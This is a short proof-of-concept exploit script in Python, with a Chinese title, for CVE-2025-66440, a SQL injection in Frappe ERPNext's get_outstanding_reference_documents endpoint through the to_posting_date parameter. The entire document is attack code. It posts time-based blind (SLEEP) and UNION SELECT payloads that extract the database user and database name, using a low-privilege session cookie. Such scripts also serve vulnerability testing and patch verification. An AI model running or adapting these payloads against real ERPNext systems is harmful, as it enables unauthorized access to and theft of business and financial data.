CVE-2025-66440 Frappe ERPNext SQL注入漏洞

import requests import json # CVE-2025-66440 SQL Injection PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 # Vulnerability: SQL Injection in get_outstanding_reference_documents() # Parameter: to_posting_date TARGET_URL = "http://target-erp.local/api/method/erpnext.accounts.doctype.payment_entry.payment_entry.get_outstanding_reference_documents" # Authentication headers - requires low privilege user session HEADERS = { "Content-Type": "application/json", "Cookie": "sid=<your_session_cookie>" # Replace with valid session } # SQL Injection payload to extract database version # Using time-based blind SQL injection technique PAYLOADS = [ # Extract database user { "to_posting_date": "2025-01-01' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- ", "account": "Debtors - AC", "party_type": "Customer", "party": "_Test Customer" }, # Union-based injection example { "to_posting_date": "2025-01-01' UNION SELECT 1,2,3,4,user(),6,7,8,9,10,11,12-- ", "account": "Debtors - AC", "party_type": "Customer", "party": "_Test Customer" }, # Extract database name { "to_posting_date": "2025-01-01' UNION SELECT 1,database(),3,4,5,6,7,8,9,10,11,12-- ", "account": "Debtors - AC", "party_type": "Customer", "party": "_Test Customer" } ] def exploit(): print("[+] CVE-2025-66440 SQL Injection PoC") print("[+] Target:", TARGET_URL) for i, payload in enumerate(PAYLOADS): print(f"\n[*] Testing payload {i+1}...") try: response = requests.post( TARGET_URL, headers=HEADERS, json=payload, timeout=30 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: data = response.json() if "message" in data: print("[+] Potential data extraction detected") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()